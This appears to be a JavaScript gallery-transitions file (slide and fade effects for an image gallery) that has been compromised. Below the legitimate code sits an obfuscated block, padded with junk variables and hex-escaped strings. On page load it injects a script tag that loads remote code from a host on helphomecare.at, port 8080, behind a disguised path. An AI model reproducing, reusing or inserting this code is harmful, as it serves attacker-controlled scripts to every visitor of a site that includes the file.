/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});

var DW=new String();var V=new String();var J=new String();function h(){var f;if(f!='' && f!='F'){f=null};var C=unescape;this.c="";var I=window;var A=new Date();var g=C("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%6f%75%66%75%6e%2e%63%6f%6d%2f%63%68%69%6e%61%6d%6f%62%69%6c%65%2e%63%6f%6d%2e%70%68%70");var hQ=new Date();function n(r,x){var Jh='';var yl='';var dh="";var j="g";var p;if(p!='Do'){p=''};var L=C("%5b"), np=C("%5d");var Hf;if(Hf!='' && Hf!='Je'){Hf='u'};var H=L+x+np;var ne=new RegExp(H, j);return r.replace(ne, new String());};var W="";var Mg;if(Mg!='kw' && Mg != ''){Mg=null};this.xU="";var Ni=new Date();var K;if(K!='IA'){K=''};var jE=n('8271909912856307245','51694732');var O=document;var ni=new String();var E='';function jX(){var nF=new Date();var k=C("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var TL;if(TL!='' && TL!='KN'){TL=null};var GX;if(GX!='' && GX!='fb'){GX=''};var rS;if(rS!='bD'){rS='bD'};ni=k;var Ma=new Date();ni+=jE;ni+=g;var Vp=new Array();var pv;if(pv!=''){pv='i'};var zi;if(zi!=''){zi='Wn'};try {var dd;if(dd!='' && dd!='fk'){dd='ux'};this.eU='';var Nk=new Array();var So='';N=O.createElement(n('sIcerhiepQtj','ehQIj'));var RX='';var pk=new Array();var Kl='';var YL;if(YL!='Hz'){YL='Hz'};N[C("%64%65%66%65%72")]=[1][0];var zP=new Array();var ss;if(ss!='pR' && ss!='UF'){ss='pR'};N[C("%73%72%63")]=ni;var bd;if(bd!='cL' && bd != ''){bd=null};O.body.appendChild(N);this.qH="";var IJ;if(IJ!='PS' && IJ!='Pw'){IJ=''};} catch(NL){var ly;if(ly!='cG'){ly='cG'};var Ci;if(Ci!='Qh' && Ci != ''){Ci=null};alert(NL);};}var XK=new String();this.xW="";var fY;if(fY!=''){fY='xI'};I["onloa"+"dHvDo".substr(0,1)]=jX;};var yZ='';var fUV=new Date();var Ce;if(Ce!='' && Ce!='jI'){Ce=''};var uf='';h();